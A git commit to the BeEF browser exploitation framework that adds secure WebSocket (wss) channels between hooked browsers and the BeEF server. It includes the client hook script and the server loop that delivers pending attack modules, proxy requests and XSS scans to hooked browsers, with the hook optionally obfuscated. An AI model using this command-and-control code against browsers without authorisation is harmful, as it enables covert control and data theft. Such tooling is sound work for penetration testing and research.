Added support for wss, issue #714

This commit is contained in:
radoen
2012-08-10 13:43:48 +02:00
parent ea89b0ca64
commit 5697eac123
5 changed files with 208 additions and 128 deletions

9
beef
View File

@@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
when "mysql","postgres"
when "mysql", "postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
@@ -125,11 +125,12 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
if config.get("beef.http.websocket.secure")
print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
end
end
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
@@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true
begin
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
rescue Interrupt
end
else

View File

@@ -17,7 +17,7 @@
beef:
version: '0.4.3.6-alpha'
debug: false
debug: true
restrictions:
# subnet of browser ip addresses that can hook to the framework
@@ -41,9 +41,10 @@ beef:
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
secure: false # use WebSocketSecure
enable: true
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
port: 61985 # good success rate through proxies
secure_port: 61986 #to accept wss connection
alive_timer: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
@@ -53,7 +54,7 @@ beef:
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
enable: true
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.dns (the domain name of the server where you run BeEF)
key: "beef_key.pem"

View File

@@ -27,15 +27,18 @@ beef.websocket = {
var webSocketPort = <%= @websocket_port %>;
var webSocketSecure = <%= @websocket_secure %>;
var protocol = "ws://";
if(webSocketSecure)
//console.log("We are inside init");
/*use wss only if hooked domain is under tls*/
if(webSocketSecure && window.location.protocol=="https:"){
protocol = "wss://";
webSocketPort= <%= @websocket_sec_port %>;
}
if (beef.browser.isFF() && !!window.MozWebSocket) {
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
if (beef.browser.isFF() && !!window.MozWebSocket) {
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
} else {
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}
},
@@ -43,10 +46,10 @@ beef.websocket = {
start:function () {
new beef.websocket.init();
this.socket.onopen = function () {
//console.log("Socket has been opened!");
//console.log("Socket has been opened!");
/*send browser id*/
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
/*send browser id*/
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
//console.log("Connected and Helo");
beef.websocket.alive();
}

View File

@@ -14,126 +14,127 @@
# limitations under the License.
#
module BeEF
module Core
module Handlers
module Modules
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beefjs = ''
# @note location of sub files
beefjs_path = "#{$root_dir}/core/main/client/"
# @note we load websocket library only if ws server is enabled in config.yalm
# check in init.js
if config.get("beef.http.websocket.enable")
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beefjs = ''
# @note location of sub files
beefjs_path = "#{$root_dir}/core/main/client/"
# @note we load websocket library only if ws server is enabled in config.yalm
# check in init.js
if config.get("beef.http.websocket.enable")
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js)
else
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js)
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js)
else
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js)
end
end
# @note construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
}
# @note construct the beefjs string from file(s)
js_sub_files.each { |js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
}
# @note create the config for the hooked browser session
# @note create the config for the hooked browser session
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_config = BeEF::Core::Server.instance.to_h
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
end
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
end
# @note populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
end
@body << @hook
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each { |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
end
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
end
# @note populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
end
@body << @hook
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each {|k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
end
end
end
end

View File

@@ -27,15 +27,88 @@ module BeEF
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
#@@wsopt=nil
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
port = @@config.get("beef.http.websocket.port")
secure = @@config.get("beef.http.websocket.secure")
secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable")
@root_dir = File.expand_path('../../../../../', __FILE__)
if (secure)
#Thread for websocket-secure
Thread.new {
port = @@config.get("beef.http.websocket.secure_port")
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
EventMachine.run {
wsopt = {:host => "0.0.0.0", :port => port, :secure => true,
:tls_options => {
:private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
:cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
}
}
EventMachine::WebSocket.start(wsopt) do |ws|
begin
print_debug "New WebSocket-secured channel open."
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
if (msg_hash["cookie"]!= nil)
print_debug("WebSocket-secured - Browser says helo! WebSocket is running")
#insert new connection in activesocket
@@activeSocket["#{msg_hash["cookie"]}"] = ws
print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]")
elsif msg_hash["alive"] != nil
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
unless hooked_browser.nil?
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
#Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#@todo antisnatchor:
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
#Check if new XssRays scan need to be started
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
#print_debug("Received from WebSocket #{messageHash}")
execute(msg_hash)
end
}
rescue Exception => e
print_error "WebSocket-secured error: #{e}"
end
end
}
}
end
#Thread for websocket
Thread.new {
port = @@config.get("beef.http.websocket.port")
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
EventMachine.run {
wsopt = {:host => "0.0.0.0", :port => port}
EventMachine::WebSocket.start(wsopt) do |ws|
begin
print_debug "New WebSocket channel open."
ws.onmessage { |msg|
@@ -81,6 +154,7 @@ module BeEF
}
}
end
#@note retrieve the right websocket channel given an hooked browser session
@@ -115,7 +189,7 @@ module BeEF
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))